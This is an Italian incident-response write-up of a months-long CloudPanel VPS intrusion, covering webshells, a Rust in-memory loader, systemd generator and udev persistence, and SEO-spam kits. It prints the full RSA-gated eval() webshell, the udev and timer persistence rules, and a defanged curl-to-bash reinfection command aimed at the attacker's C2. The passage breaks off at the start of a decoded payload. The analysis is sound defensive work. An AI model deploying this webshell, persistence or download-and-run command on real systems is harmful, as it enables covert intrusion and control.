Un anno dentro una VPS: anatomia di un'intrusione contro CloudPanel tra backdoor in Rust, generator systemd e cloaking SEO
Analisi tecnica di un incidente reale su una VPS Linux gestita con CloudPanel: tecniche, strumenti, infrastruttura e indicatori di compromissione dell'attaccante, con regole YARA e controlli pronti da eseguire.
Premessa
In questo articolo descrivo l'analisi di un'intrusione che ho seguito su una VPS Linux (Ubuntu 22.04) gestita con CloudPanel. Ho omesso di proposito ogni riferimento al sistema colpito e a chi lo gestisce: nomi host, indirizzi IP, domini ospitati, utenti e dati applicativi. Ho lasciato invece in chiaro tutto ciò che riguarda l'attaccante: domini, URL, hash, chiavi pubbliche, identità fittizie e artefatti. Chi gestisce server simili deve poter riconoscere la stessa campagna.
Gli IOC di rete sono scritti in forma defanged (hxxps, [.]) per evitare click accidentali, anche dentro i blocchi di codice e le stringhe estratte dai campioni. Fanno eccezione le regole YARA e i comandi di verifica della sezione 15, dove i nomi restano in chiaro perché devono corrispondere ai campioni ed essere eseguibili.
L'analisi l'ho condotta in due momenti:
- Live, sul sistema ancora compromesso, con privilegi di root. Tenevo presente che un attaccante con root può manipolare l'output di qualsiasi comando: per questo ho fatto i controlli critici leggendo direttamente
/proc, i timestampstatx(incluso il birth time) e i checksum dei pacchetti (dpkg), e ne ho verificato la coerenza incrociata. - Offline, su copie dei campioni e dei log. Qui ho fatto solo analisi statica (stringhe, entropia, simboli, decodifica) e OSINT passiva. Non ho eseguito nessun campione e non ho contattato nessuna infrastruttura dell'attaccante.
Dove una conclusione è un'ipotesi e non un fatto dimostrato, lo scrivo esplicitamente.
1. Sintesi
- Durata: compromissione completa a livello root, attiva e persistente per circa 13 mesi (dall'agosto 2025 al settembre 2026).
- Probabile vettore: il pannello CloudPanel fermo a una versione vulnerabile, più il privilegio
sudo NOPASSWDche CloudPanel concede di default all'utente di servizioclp. - Accesso esclusivo: 9 webshell PHP che eseguono solo codice firmato con una chiave RSA privata, con due chiavi distinte.
- Stage 1: ELF cifrato che si maschera da processi di sistema.
- Stage 2: loader in Rust ("PHANTOM_LOADER") che decifra ed esegue il payload solo in memoria. Al momento dell'analisi girava in 107 processi travestiti da thread del kernel (
kworker,watchdog,migration,ksoftirqd…). - Canale di comando: C2 su HTTPS dietro Cloudflare,
api.githubresource[.]com, con risoluzione dei nomi via DNS-over-HTTPS per non lasciare tracce nel DNS locale. - Persistenza a più livelli: due falsi generator systemd, una regola udev che scatta a ogni boot e a ogni refresh di snapd, un timer systemd, un binario SUID root travestito da
chattr, file resi immutabili conchattr +i, timestomping e un endpoint di reinfezione (/api/recover). - Persistenza applicativa: un amministratore CloudPanel pirata scritto direttamente nel database, senza eventi di audit.
- Monetizzazione: due kit di SEO spam:
- "ROOT-SEO Connector v5.4", che vende backlink iniettati nei siti ospitati;
- un kit specifico per CloudPanel (
cp.txt) che inserisce inphp.iniun proxy di cloaking verso domini legati a una rete di gioco d'azzardo online indonesiana, e inietta JavaScript neljquery.min.jsdel pannello.
Obiettivo: tenere un server "posseduto" stabile e silenzioso, da usare come nodo e come fonte di reputazione dei domini per lo spam. Non ho trovato segni di ransomware, distruzione o mining: il consumo di CPU dei processi malevoli era trascurabile.
2. Contesto: perché CloudPanel è un bersaglio interessante
CloudPanel è un pannello di hosting gratuito molto diffuso su VPS economiche. Due caratteristiche lo rendono appetibile.
1. L'utente di servizio può diventare root senza password. Nell'installazione standard il pannello gira come utente clp, che ha in /etc/sudoers.d:
clp ALL=(ALL) NOPASSWD: ALL
Qualsiasi esecuzione di codice ottenuta come clp equivale quindi, di fatto, a root.
2. Ha una storia di vulnerabilità con exploit pubblici:
- CVE-2023-35885: bypass dell'autenticazione tramite il cookie del file manager, che porta a RCE. Colpisce le versioni 2.0.0–2.3.0.
- CVE-2023-46157: OS command injection. Colpisce le versioni 2.0.0–2.3.2.
Il database di configurazione del pannello compromesso riportava app_version = 2.3.2: mai aggiornato dal 2023.
3. Vettore d'ingresso (ricostruzione e limiti)
Lo dico subito: il vettore iniziale non è dimostrabile con certezza. Quando ho iniziato l'analisi, il journal copriva appena 7 giorni e auth.log 5, contro più di un anno di permanenza dell'attaccante. Gli elementi convergono comunque in modo netto sul pannello.
- Il primo artefatto in assoluto è dentro CloudPanel. È la webshell
/home/clp/htdocs/app/files/public/phpmyadmin/examples/openid-script.php, proprietarioclp, nata alle 08:38:41.586 del giorno dell'intrusione. - Root arriva dopo 0,3 secondi. Il primo ELF di proprietà root,
/usr/libexec/systemd-helper, ha birth time 08:38:41.902. È un'operazione scriptata: esecuzione comeclp, poisudo, poi drop del binario. -
Nel pannello c'erano utenti creati senza eventi di audit. Nella tabella
eventdel database SQLite di CloudPanel mancano del tutto gli eventiADMIN_USER_ADDdi due account apparsi nella tabellauser:bryan52: nome "Edward Ellis",wardshannon@gmail.com, ruoloROLE_USER. Esisteva prima dell'intrusione, e l'amministratore legittimo lo ha cancellato due settimane prima;nataliejohnson: nome "Jessica Farley",kramershane@gmail.com, ruoloROLE_ADMIN, MFA disattivato. È comparso due mesi dopo l'intrusione.
La creazione senza audit indica una scrittura diretta nel file SQLite (con root o come
clp), non l'uso dell'interfaccia. -
La versione del pannello era vulnerabile. 2.3.2 rientra nel range di CVE-2023-46157.
La mia ricostruzione più probabile è questa: accesso al pannello, poi esecuzione di comandi come clp, poi sudo, infine root. SSH non mostra evidenze a favore, ma i log disponibili non bastano per escluderlo.
4. Timeline dell'attacco
Gli orari sono in UTC. La colonna "Evidenza" indica la fonte del dato.
| Momento | Evento | Evidenza |
|---|---|---|
| 18/04/2025 | Registrazione del dominio C2 githubresource[.]com (GoDaddy, privacy proxy) |
WHOIS/RDAP, CT log |
| T0 = 23/08/2025 08:38:41.586 | Webshell openid-script.php nel phpMyAdmin di CloudPanel (chiave RSA #2) |
birth statx |
| T0 + 0,3 s | ELF stage 1 /usr/libexec/systemd-helper (root) |
birth statx |
| T0 + 23 min | /usr/sbin/tmpfiles-prime (stesso ELF), symlink /usr/local/sbin/bootd, generator systemd-lvm-topology-generator |
birth, stringhe |
| T0 + 7 h | Falso /usr/libexec/dbus-daemon (il vero è /usr/bin/dbus-daemon) |
birth, dpkg -S |
| T0 + 7 h (1 s dopo) | 8 webshell (chiave RSA #1) nelle document root dei siti, nomi casuali di 8 caratteri, ctime identico al nanosecondo |
statx |
| 04/09/2025 | Terza copia di stage 1 /usr/libexec/gnome-session-binary; chattr +i sulla webshell del pannello |
birth/ctime, lsattr |
| 13/10/2025 | Admin pirata nataliejohnson scritto nel DB di CloudPanel |
tabella user, nessun evento |
| 21/07/2026 | /tmp/seo-config.php: ROOT-SEO Connector v5.4 (proprietario clp) |
birth, contenuto |
| 24/07/2026 09:02 | Stage 2: /usr/lib64/libsystemd-journald-backend.so.0.1, /usr/bin/chuser SUID root, PID file /dev/shm/.dbus-e411b8a324c8129d |
birth |
| 24/07/2026 09:35 | Persistenza stage 2, tutta immutabile e con mtime falsificato al 23/01/2026 10:51:17: libaudit-base.so.3, libjournald-runtime.so.0, regola udev, timer/service, generator systemd-netlink-sync-generator |
birth vs mtime, lsattr |
| 25/07/2026 | Terzi scansionano su urlscan.io git.githubresource[.]com/cp/cp.txt, /bash e 16cr[.]com/idnxy.html |
urlscan.io |
| 14/08/2026 | Nuova versione di cp.txt (26 KB), con endpoint di cloaking cambiato |
urlscan.io |
| fino all'analisi | Nuove istanze del malware ogni notte e a ogni refresh di snapd: 107 processi mascherati, 19 sessioni TLS verso il C2 | /proc, /proc/net/tcp, syslog |
Il timestomping si nota bene. I file dello stage 2 hanno mtime = 2026-01-23 10:51:17 (tutti identici, al secondo), mentre birth e ctime sono di sei mesi dopo. Chi guarda un semplice ls -l vede file "vecchi"; stat con il campo Birth smaschera la falsificazione.
5. Webshell PHP con esecuzione firmata RSA
5.1 Codice
Le 8 webshell nelle document root sono identiche: SHA-256 749f5b949e6f3c79dbce6d1087605cab5fce00faf16f1633dff18ccadd3ff2a0, 1028 byte.
<?php
define('PUBKEY', <<<KEY
-----BEGIN PUBLIC KEY-----
MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCdQoJvPf1Lc+bBhzCRRCaM9+Ag
CtYpaPLALpHC/zEi6hk0iNAou+64U1CinkcoLF2N7DVHfpJQnPkDsZG2R4GysvZh
ZTBBksLhWpKbfiDUKQmYR0lmXzVAN0758jsLi7dDVc6GTTUKjIHudQcr1WyyXKbt
3+hyF2H9lkA2Ng+iywIDAQAB
-----END PUBLIC KEY-----
KEY
);
function pipeline($data, $steps) {
foreach ($steps as $fn) { $data = $fn($data); }
return $data;
}
echo "OpenALL";
$splitter = function($cmd) { return explode('|', $cmd); };
$decryptor = function($segments) {
$pk = openssl_pkey_get_public(PUBKEY);
$result = [];
foreach ($segments as $segment) {
if (openssl_public_decrypt(base64_decode($segment), $out, $pk)) { $result[] = $out; }
}
return $result;
};
$joiner = function($arr) { return implode('', $arr); };
$executor = function($cmd) { return eval($cmd); };
pipeline(@$_POST['OpenSSL'], [$splitter, $decryptor, $joiner, $executor]);
?>
5.2 Come funziona
- Il parametro POST (
OpenSSL) contiene blocchi base64 separati da|. - Ogni blocco viene "decifrato" con
openssl_public_decryptusando la chiave pubblica incorporata. È in pratica una verifica di firma: solo chi possiede la chiave privata può produrre blocchi validi. - I blocchi decifrati vengono concatenati e passati a
eval().
Ne derivano due conseguenze:
- Nessun altro può usare la webshell. Chi la trova non può riutilizzarla, e un secondo attaccante non può "rubare" il server. È un meccanismo di esclusività.
- Il payload non si vede nei log di nginx. Si vedrebbe solo un POST a un file
.phpcon nome casuale. Le richieste GET restituiscono appena la stringaOpenALL(7 byte), utile come health check per l'operatore.
La pipeline di closure ($splitter, $decryptor, $joiner, $executor) evita pattern classici come eval(base64_decode( e abbassa il rilevamento da parte degli scanner basati su firme.
5.3 La variante nel pannello
Nel pannello c'è una seconda versione: openid-script.php, SHA-256 fa753f9e3e657aaf8cb0b7d1e33fcda163359bf9c5183d0478b34f892a329c54, 1015 byte. Stesso codice, senza echo "OpenALL", con parametro POST CloudPanel e una chiave diversa:
-----BEGIN PUBLIC KEY-----
MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCt/Gk9ZQQK0fWd/j0QOeZ4EDVY
2m6FSp8O97Xvl9yi6UmesxSVSBSqNHM7sR8JsMUs98oCEBkjkBfOBMV570NxXS8V
sJGhGGDxPTNhyS0k4dOCA83xfXL6l3PEtGPh+E6T0CvcHP8+xlXQ4jfck9yDs2VP
8uiZJzTtwlupac5XZQIDAQAB
-----END PUBLIC KEY-----
Il nome del file e il percorso (phpmyadmin/examples/) sono scelti per sembrare parte della distribuzione di phpMyAdmin. Il file è stato reso immutabile (chattr +i) e ha mtime falsificato alla data di installazione del pannello.
C'è poi un effetto collaterale importante: CloudPanel esegue un backup giornaliero di /home/clp. La webshell era quindi finita anche in tutti i backup (/home/clp/backups/*/app/files/public/phpmyadmin/examples/openid-script.php). Ripristinare un backup avrebbe ripristinato la backdoor.
Le due chiavi RSA distinte, usate a 7 ore di distanza nello stesso giorno, fanno pensare a due kit o due operatori. Resta un'ipotesi.
6. Stage 1: l'ELF cifrato
| Campo | Valore |
|---|---|
| SHA-256 | 04ab8107fbd0b3bc599aa3ec1e3ccaea3e63e7807dd4399c0ffb74c54ba7418e |
| Dimensione | 5.222.752 byte |
| Tipo | ELF 64-bit x86-64 PIE, linkato dinamicamente, strippato |
| Copie | /usr/libexec/systemd-helper, /usr/libexec/dbus-daemon, /usr/libexec/gnome-session-binary, /usr/sbin/tmpfiles-prime (+ symlink /usr/local/sbin/bootd) |
Il corpo è interamente cifrato. Ho misurato l'entropia a blocchi da 512 KB: 7,94 nel primo blocco, 8,00 in tutti gli altri. Non ci sono firme UPX, stream zlib o ELF annidati in chiaro: il payload è cifrato, non semplicemente compresso.
Le poche stringhe leggibili servono a sembrare un tool legittimo:
Usage: %s [options]
-h, --help Display this help message
-v, --version Show version information
-c, --check Check system compatibility
-t, --test Run system tests
-daemons
Fini at work
/proc/self/comm
/dev/urandom
/proc/self/comm indica che il processo riscrive il proprio nome. Al momento dell'analisi il PID 136 aveva come eseguibile (/proc/136/exe) tmpfiles-prime, ma si presentava come /lib/systemd/systemd. Aveva anche due socket in CLOSE-WAIT verso il C2 sulla porta 80.
Anche i nomi dei file sono scelti con cura: dbus-daemon, gnome-session-binary e systemd-helper sono nomi plausibili in /usr/libexec e passano inosservati a un ls distratto. Nessuno appartiene però a un pacchetto installato (dpkg -S restituisce vuoto).
7. Stage 2: "PHANTOM_LOADER", un loader ELF in memoria scritto in Rust
7.1 Identità
| Campo | Valore |
|---|---|
| SHA-256 | 1b1f6fac895cef4c0f6c48b873c8817291f297361c817a0dd46be522fdcc8a07 |
| Dimensione | 1.787.088 byte |
| Tipo | ELF 64-bit x86-64 static-pie, strippato |
| Copie | /usr/local/lib/libaudit-base.so.3, /usr/local/lib/libjournald-runtime.so.0, /usr/lib64/libsystemd-journald-backend.so.0.1 |
L'estensione .so è un travestimento: non sono librerie ma eseguibili, che nessun programma legittimo carica.
7.2 Toolchain (dalle stringhe)
rustc version 1.98.0-nightly (e7815e522 2026-06-04)
clang version 18.1.6 (https://github.com/ziglang/zig-bootstrap 98bc6bf4fc4009888d33941daf6b600d20a42a56)
/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/elf_loader-0.15.1/...
/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/miniz_oxide-0.8.9/...
src/main.rs
Il binario è compilato con Rust nightly e linkato con zig/clang: probabilmente cargo-zigbuild, dentro un container (/usr/local/cargo, /usr/local/rustup). Usa il crate elf_loader per caricare e riallocare un ELF da un buffer.
7.3 Stringhe funzionali
PHANTOM_LOADER_ARGV_PADDED
/proc/self/exe
/usr/lib/systemd/systemd-journald
invalid executable ELF payload
exec relocate failed
only little-endian ELF payloads are supported
load_exec failed
daemon
Il comportamento che ne ricavo è questo:
- il payload vero è incorporato nel binario (cifrato: le stringhe
Adler32Mismatch/DecompressErrordiminiz_oxideindicano anche una fase di decompressione); - il loader lo decifra, lo decomprime e lo mappa e rialloca in memoria senza mai scriverlo su disco;
- la variabile d'ambiente
PHANTOM_LOADER_ARGV_PADDEDe la stringa/usr/lib/systemd/systemd-journaldservono a riscrivereargv[0]con spazio "imbottito", così il processo appare con un nome arbitrario; - la variabile
daemon=true, passata dalla regola udev (vedi la sezione 8.2), attiva la modalità demone.
A runtime i processi si presentavano con nomi tra parentesi quadre, come i thread del kernel: [watchdog/0], [watchdogd], [kworker/0:2], [migration/1], [ksoftirqd/0], [cpuhp/3], [scsi_eh_1], [idle_inject/3], [irq/24-pciehp], [kauditd], [rcu_preempt]… A differenza dei thread veri, però, avevano VSZ/RSS diversi da zero, un PPID diverso da kthreadd (2) e un /proc/<pid>/exe che puntava ai file dello stage 2.
Ogni attivazione lasciava in vita una coppia di processi:
- un padre
Sscon nomewatchdog*; - un figlio multithread
Slcon nome da kworker o simile.
Le vecchie istanze non terminavano mai: dopo una cinquantina di giorni i processi erano 107, di cui 19 con sessioni TLS stabilite verso il C2 nello snapshot di ss che ho analizzato (un conteggio precedente, fatto qualche minuto prima, ne dava 17: il numero varia perché le sessioni vengono aperte e chiuse di continuo).
7.4 Impronta sulle risorse
In circa 40 giorni ogni processo aveva accumulato pochi minuti di CPU (TIME tra 0:30 e 5:44). Questo esclude il cryptomining. Il profilo è quello di un agente in attesa di comandi: connessione persistente, consumo minimo, pronto a ricevere compiti.
La funzione finale del payload non l'ho potuta osservare. Esiste solo decifrato in memoria, e i processi sono stati terminati prima di un'acquisizione della RAM.
8. Persistenza: un sistema a strati
L'attaccante ha costruito quattro meccanismi indipendenti che si coprono a vicenda, più una reinfezione via rete. Tutti i file dello stage 2 erano immutabili (lsattr → ----i---------e-------).
8.1 Timer systemd: il trigger quotidiano
/lib/systemd/system/system-dependency-tracker.timer:
[Unit]
Description=System Service
[Timer]
OnCalendar=*-*-* 01:00:00
Persistent=true
Unit=system-dependency-tracker.service
[Install]
WantedBy=timers.target
/lib/systemd/system/system-dependency-tracker.service:
[Unit]
Description=System Service
After=network.target
[Service]
Type=oneshot
ExecStart=/usr/bin/udevadm trigger --action=change --sysname-match=loop0
StandardOutput=null
StandardError=null
RemainAfterExit=no
La trovata sta nel fatto che il timer non lancia il malware. Genera un falso evento udev change sul device loop0, e un analista che ispeziona ExecStart vede solo un innocuo udevadm.
8.2 Regola udev: l'esecutore
/etc/udev/rules.d/75-random-init.rules:
# Entropy device initialization hook
ACTION=="add", KERNEL=="random", RUN+="/usr/bin/systemd-run --no-block --slice=background.slice -p KillMode=none -p CollectMode=inactive-or-failed -E daemon=true /usr/local/lib/libjournald-runtime.so.0"
ACTION=="change", SUBSYSTEM=="block", RUN+="/usr/bin/systemd-run --no-block --slice=background.slice -p KillMode=none -p CollectMode=inactive-or-failed -E daemon=true /usr/local/lib/libjournald-runtime.so.0"
ACTION=="change", SUBSYSTEM=="block", KERNEL=="loop0", RUN+="/usr/bin/systemd-run --no-block --slice=background.slice -p KillMode=none -p CollectMode=inactive-or-failed -E daemon=true /usr/local/lib/libjournald-runtime.so.0"
Le scelte tecniche sono precise:
KERNEL=="random"scatta a ogni boot, quando viene creato/dev/random;SUBSYSTEM=="block"scatta a qualsiasi eventochangesu un device a blocchi. Nel syslog ho verificato che gli avvii fuori orario del malware (04:18, 08:17, 17:37) coincidono al secondo con i refresh automatici di snapd, che montano gli snap su device loop (vedi il syslog riportato sotto);systemd-runcrea un'unità transient (run-r<hex>.service) conKillMode=none. Quando l'unità termina, systemd non uccide il processo figlio, che resta orfano e in vita. systemd 249 lo segnala nel journal ("Unit configured to use KillMode=none. This is unsafe…"), e ripete l'avviso a ognidaemon-reload;- udev uccide i processi lanciati da
RUN+=allo scadere del timeout dell'evento (per default 180 s) e comunque li vincola al ciclo di vita dell'evento. Delegare asystemd-run --no-blocksgancia il demone da udev e aggira questo limite.
Questa è la sequenza registrata nel syslog in corrispondenza di un refresh di snapd:
systemd[1]: Mounting Mount unit for core24, revision 2124...
kernel: loop31: detected capacity change from 0 to 136784
systemd[1]: Mounted Mount unit for core24, revision 2124.
systemd[1]: Started /usr/local/lib/libjournald-runtime.so.0.
Il malware si agganciava a un'attività legittima e periodica del sistema (snapd controlla gli aggiornamenti circa quattro volte al giorno). In una prima lettura avevo attribuito gli avvii all'fstrim notturno eseguito dall'agente guest dell'hypervisor; il confronto puntuale con il syslog lo esclude, perché fstrim non genera eventi udev sul device.
Nel syslog la catena di attivazione si vede così:
systemd[1]: Starting System Service...
systemd[1]: system-dependency-tracker.service: Deactivated successfully.
systemd[1]: Started /usr/local/lib/libjournald-runtime.so.0.
libjournald-runtime.so.0[334595]: OK
systemd[1]: run-r62288ad6cdd14b5f88740e52e8c476cf.service: Unit process 334597 (exe) remains running after unit stopped.
La riga "remains running after unit stopped" è la firma di KillMode=none.
8.3 Generator systemd n. 1: systemd-lvm-topology-generator
| Campo | Valore |
|---|---|
| Percorso | /usr/lib/systemd/system-generators/systemd-lvm-topology-generator (e copia in /lib/...) |
| SHA-256 | 211fb1b99129f7f496ef877489aa22709b0bebd2951f235ca7ef3160e1bd39f6 |
| Tipo | ELF statico musl 1.2.4, non strippato, con debug info |
I generator sono eseguibili che systemd lancia nelle primissime fasi del boot (e a ogni daemon-reload), prima di leggere le unit. Pochi amministratori li controllano.
I simboli rimasti nel binario sono eloquenti:
systemd-fake-generator v252
write_fake_unit
launcher_template.c
/usr/local/sbin/bootd
/run/systemd/system/systemd-devsync.service
/run/systemd/system/multi-user.target.wants/systemd-devsync.service
Contiene anche il template di una unit esca:
[Unit]
Description=Dev Sync Agent
After=network.target
[Service]
Type=oneshot
ExecStart=/usr/bin/ovs-vsctl
[Install]
WantedBy=multi-user.target
Il generator esegue /usr/local/sbin/bootd, cioè lo stage 1, con setsid/execv. Può anche scrivere in /run/systemd/system una unit "Dev Sync Agent" dall'aspetto innocuo. La stringa v252 imita un numero di versione plausibile di systemd (è quella di Debian 12; Ubuntu 22.04, su cui girava, ha la 249: il kit non è stato adattato alla distribuzione) e systemd-fake-generator tradisce la natura del tool.
8.4 Generator systemd n. 2: systemd-netlink-sync-generator, la reinfezione
| Campo | Valore |
|---|---|
| Percorso | /usr/lib/systemd/system-generators/systemd-netlink-sync-generator |
| SHA-256 | 014610c2dc6ad04e9077264d88bd31535a2c6098357527ccd5fef7b7678320ec |
| Tipo | ELF statico glibc, strippato, ~740 KB, immutabile |
Questa componente non l'avevo individuata al primo giro. È emersa dopo il primo riavvio, successivo alla rimozione di tutto il resto. Le stringhe chiave:
/usr/local/lib/libaudit-base.so.3
hxxps://api.githubresource[.]com/api/recover
/usr/bin/curl -fsSLk '%s' | bash
/usr/bin/wget -qO- --no-check-certificate '%s' | bash
systemd-generator v252
La logica è semplice: se al boot manca /usr/local/lib/libaudit-base.so.3, cioè se qualcuno ha ripulito lo stage 2, scarica ed esegue uno script di recupero:
curl -fsSLk 'hxxps://api.githubresource[.]com/api/recover' | bash
Se curl non c'è, usa wget. -k / --no-check-certificate disattivano la verifica TLS.
Per confondersi imitava lo stile del generator legittimo di netplan (/lib/systemd/system-generators/netplan), che a ogni boot crea netplan-ovs-cleanup.service. Occhio a non scambiare quest'ultima unit per malevola: è legittima.
Nel mio caso il tentativo di recupero al riavvio non ha ripristinato nulla. Avevo già bloccato il dominio a livello di /etc/hosts e rimosso il generator.
8.5 chuser: il binario SUID root travestito da chattr
| Campo | Valore |
|---|---|
| Percorso | /usr/bin/chuser, mode 4755 root:root |
| SHA-256 | d9909a2eb507157c66054e89a2db6911dc018651f322dcad9e0d1e412a7b742e |
| Tipo | ELF statico Rust (rustc 31fca3adb283…), strippato, 3,4 MB |
Stringhe di facciata, copiate da chattr di e2fsprogs:
Usage: chuser [-RVl] [-+=AacDdeijsSu] [-v version] files...
version 1.8.23
Stringhe funzionali:
GET /dns-query?name=
&type=A HTTP/1.1
Accept: application/dns-json
Host:
POST
transfer-encoding: chunked
hostname=
/etc/hostname
/etc/resolv.conf
/sys/devices/system/cpu/cpu0/cache
/usr/local/bin:/bin:/usr/bin
exec failed:
Crate usati: rustls, rustls-webpki 0.103.13, aws-lc-rs 1.17.1, base64 0.22.1, hashbrown 0.16.1. Contiene un bundle completo di CA root.
Ne ricavo che:
- è un client HTTPS autonomo, che non dipende da OpenSSL di sistema;
- risolve i nomi via DNS-over-HTTPS (formato JSON,
application/dns-json, compatibile con Cloudflare e Google). Il dominio del C2 non passa mai dal resolver locale. Durante l'analisi la cache dinamednon conteneva nulla sugli IP del C2, e ora so perché; - raccoglie hostname e caratteristiche della CPU per profilare l'host;
- può eseguire comandi (
exec) e inviare dati via POST chunked; - essendo SUID root, chiunque abbia una shell non privilegiata (per esempio una webshell che gira come utente PHP-FPM) torna root con un comando. È un'assicurazione contro la rimozione del sudo di
clp.
8.6 PID file e artefatti minori
/dev/shm/.dbus-e411b8a324c8129d: PID file nascosto in tmpfs, con un nome che imita il socket di sessione D-Bus. rkhunter lo segnalava ogni giorno come "Hidden file found", e nessuno ci ha fatto caso.- Timestomping coerente su tutti gli artefatti dello stage 2 (
mtime 2026-01-23 10:51:17.000000000, notare i nanosecondi a zero).
8.7 Schema complessivo
BOOT ─┬─► generator systemd-lvm-topology-generator ──► /usr/local/sbin/bootd ──► stage 1 (tmpfiles-prime)
│
├─► generator systemd-netlink-sync-generator ──► [se manca libaudit-base.so.3]
│ curl hxxps://api.githubresource[.]com/api/recover | bash
│
└─► udev: KERNEL=="random" add ─────────────┐
│
01:00 ──► timer system-dependency-tracker │
└► udevadm trigger change loop0 ────────┤
▼
~4×/giorno ► snapd refresh: mount snap su loopN (evento block) ──► udev 75-random-init.rules
└► systemd-run KillMode=none daemon=true
└► stage 2 PHANTOM_LOADER (libjournald-runtime.so.0)
└► payload in memoria ── [kworker]/[watchdog]
└► TLS 443 ──► api.githubresource[.]com (Cloudflare)
In qualsiasi momento: /usr/bin/chuser (SUID) ──► root
webshell RSA ──► eval() come utente PHP ──► chuser/sudo ──► root
Livello applicativo: admin CloudPanel "nataliejohnson" scritto nel DB SQLite
9. Persistenza applicativa: l'amministratore fantasma
Nel database SQLite di CloudPanel (/home/clp/htdocs/app/data/db.sq3) c'era questo record:
| Campo | Valore |
|---|---|
| user_name | nataliejohnson |
kramershane@gmail.com |
|
| first/last name | Jessica / Farley |
| role | ROLE_ADMIN |
| mfa | 0 |
| created_at = updated_at | 2025-10-13 09:45:09 |
Non esiste nessun evento ADMIN_USER_ADD corrispondente nella tabella event. Nome utente, nome anagrafico ed email sono incoerenti tra loro, tipico dei generatori di identità fittizie ("Faker"). Lo stesso schema vale per bryan52 / "Edward Ellis" / wardshannon@gmail.com.
Scopo: un accesso al pannello alternativo alle webshell. Sopravvive a una pulizia del file system e dà accesso a file manager, database, cron e vhost di tutti i siti.
10. Monetizzazione n. 1: ROOT-SEO Connector v5.4
| Campo | Valore |
|---|---|
| Percorso | /tmp/seo-config.php (proprietario clp) |
| SHA-256 | f67ebc76ea22ceda6dcd97ecb00d79964c401b2989a1b7efa74d978b4c0e6107 |
| Dimensione | 72.349 byte |
| Pannello | hxxps://root-seo[.]com/api |
| Token | vOXOUfISAW7PV00XQDeE0Qr5fpd7VV7w… (troncato di proposito) |
È un prodotto "commerciale" per la vendita di backlink su siti compromessi, con un'intestazione che ne documenta le funzioni:
ROOT-SEO Connector v5.4
- Backwards compatible with v5.2/v5.3 protocol (ping, add_link, remove_link, sync_links,
get_links, clear_links, clear_expired, verify_links, self_reconcile,
placement_report, info, diagnose, output, capabilities, get_config, set_config, self_update)
- Links now have a "kind": "footer" (sitewide, visible footer) or "contextual"
- Render is ALWAYS visible (no hidden/cloaked CSS) — anti-penalty, anti-footprint.
- Guardian: connector mirrors itself + its dropped artifacts into hidden backup dirs
and self-heals if the primary file is deleted by a CMS/theme update.
Funzionalità tecniche principali:
- Autenticazione del pannello tramite header
X-RS-Panel-Token, con protezione anti-replay (X-RS-Ts,X-RS-Req-Id, nonce valido 900 s). - Riconoscimento del CMS (WordPress, Joomla, Drupal, OpenCart, PrestaShop, Laravel) e una catena di strategie di installazione, provate in ordine:
wp_mu_plugin→wp_functions_hook→footer_patch→wp_active_footer→index_patch→htaccess_prepend→any_php_file.
L'iniezione via .htaccess usa un blocco delimitato da marcatori, che imposta auto_prepend_file su un file nascosto:
# ROOTSEO_HTACCESS_START:<marker>
php_value auto_prepend_file ".../.rs_prepend_v5.php"
# ROOTSEO_HTACCESS_END:<marker>
Completano il quadro:
- Link nel footer (massimo 50 per sito) e link contestuali iniettati in
the_contentdi WordPress, con TTL massimo di 48 ore. - "Guardian": 10 copie nascoste
.rs_g1….rs_g10/.rs_connector.php.bakche si auto-ripristinano, con controllo di versione. self_update: scarica il nuovo sorgente da…/api/connector/v5/source.- File di stato:
.rs_links_v5.json,.rs_v5_config.json,.rs_v5_nonces.json,.rs_guardian_v5.json.
Nel mio caso l'ho trovato solo in /tmp. Nelle document root non c'erano tracce di .rs_*, mu-plugin o marcatori ROOTSEO_: risultava preparato, non installato. È comunque un indicatore affidabile di chi c'era dietro.
11. Monetizzazione n. 2: il kit cp.txt e il cloaking per il gambling indonesiano
Questa parte l'ho ricostruita con OSINT passiva, partendo dal dominio C2.
11.1 Scoperta
Su urlscan.io risultano tre scansioni pubbliche, fatte da terzi, del sottodominio git.githubresource[.]com (il DNS del dominio è wildcard):
| Data (UTC) | URL | Risposta | SHA-256 risposta |
|---|---|---|---|
| 25/07/2026 15:41 | hxxps://git.githubresource[.]com/cp/cp.txt |
200, text/plain, 20 KB |
39509aaeabc6f5d955fa0408600494edf7568f80bf3ebab1cd8e21e686926d2e |
| 25/07/2026 16:19 | hxxps://git.githubresource[.]com/bash |
401, 13 B | b2a429b6c05a821ad38d7f4440dab4bfeb548cf5fd9b1db50f6310c457e6a42e |
| 14/08/2026 09:11 | hxxps://git.githubresource[.]com/cp/cp.txt |
200, text/plain, 26 KB |
b04e0a88bfb3d3881104d0ec5cf09f74fcb72afeb2e44575c4c7516b90fabb5c |
La prima scansione cade il giorno dopo l'installazione dello stage 2 sul sistema che ho analizzato. /bash richiede autenticazione: è verosimilmente l'installer principale, distribuito solo a client autorizzati.
11.2 Contenuto di cp.txt
Gli screenshot archiviati mostrano uno script Python 2/3 (from __future__ import print_function, unicode_literals, helper open_compat/write_compat). I commenti sono in cinese, con encoding rovinato nel rendering (é…ç½® = 配置, "configurazione"). La struttura:
# NGINX
NGINX_DIRS = [
"/etc/nginx/conf.d",
"/etc/nginx/sites-enabled",
"/etc/nginx/sites-available",
"/usr/local/nginx/conf.d"
]
# PHP
PHP_BASE_DIR = '/etc/php'
# php.ini auto_prepend_file
AUTO_PREPEND_FILE_VALUE = 'auto_prepend_file="data:;base64,PD9waHAK..."'
# JS
JS_INJECT_BASE_DIRS = [
'/home/clp/htdocs/app/files/public',
]
JS_INJECT_REL_PATH = 'assets/js/jquery.min.js'
JS_INJECT_CODE = ( ...
Il kit è specifico per CloudPanel: cp sta per CloudPanel, e il percorso /home/clp/htdocs/app/files/public è la web root del pannello. Fa tre cose:
- scandisce e modifica le configurazioni nginx di tutti i vhost;
- inserisce in ogni
php.inisotto/etc/phpuna direttivaauto_prepend_filecon URIdata:, cioè codice PHP inline in base64. Non serve nessun file su disco, e il codice viene eseguito prima di ogni script PHP di ogni sito; - inietta JavaScript nel
jquery.min.jsdel pannello CloudPanel. Il contenuto diJS_INJECT_CODEnon è visibile negli screenshot. In una pagina di login di amministrazione, un'iniezione del genere serve tipicamente a rubare credenziali o a reindirizzare: la mia è un'inferenza, non una verifica.
11.3 Payload PHP decodificato
Ho trascritto e decodificato la parte iniziale del base64 da entrambe le versioni.
Versione del 25/07/2026:
<?php
